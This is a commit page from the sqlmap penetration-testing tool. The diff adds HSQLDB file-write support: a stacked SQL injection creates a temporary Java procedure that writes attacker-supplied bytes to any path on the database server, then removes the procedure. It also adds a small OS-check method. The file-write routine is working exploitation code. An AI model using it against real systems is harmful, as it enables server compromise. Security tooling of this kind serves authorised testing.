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HSQLDB write file support (#4379)

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* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <chtpt@treedeMacBook-Pro.local>
This commit is contained in:
tree-chtsec 2020-10-13 16:56:39 +08:00 committed by GitHub
parent 231c3da057
commit babe52eb10
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2 changed files with 58 additions and 3 deletions
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51
plugins/dbms/hsqldb/filesystem.py
View File

@ -5,6 +5,12 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import PLACE
from lib.request import inject
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem from plugins.generic.filesystem import Filesystem as GenericFilesystem
@ -13,6 +19,45 @@ class Filesystem(GenericFilesystem):
errMsg = "on HSQLDB it is not possible to read files" errMsg = "on HSQLDB it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): @stackedmethod
errMsg = "on HSQLDB it is not possible to write files" def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
raise SqlmapUnsupportedFeatureException(errMsg)
funcName = randomStr()
MAX_BYTES = 2 ** 20
debugMsg = "creating a Java Language Procedure '%s'" % funcName
logger.debug(debugMsg)
addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, MAX_BYTES)
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
inject.goStacked(addFuncQuery)
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, MAX_BYTES)
inject.goStacked(invokeQuery)
logger.debug("removing procedure %s from DB" % funcName)
delQuery = "DELETE PROCEDURE " + funcName
inject.goStacked(delQuery)
message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
message += "file system ('%s')" % remoteFile
logger.info(message)

10
plugins/dbms/hsqldb/fingerprint.py
View File

@ -144,3 +144,13 @@ class Fingerprint(GenericFingerprint):
def getHostname(self): def getHostname(self):
warnMsg = "on HSQLDB it is not possible to enumerate the hostname" warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
logger.warn(warnMsg) logger.warn(warnMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()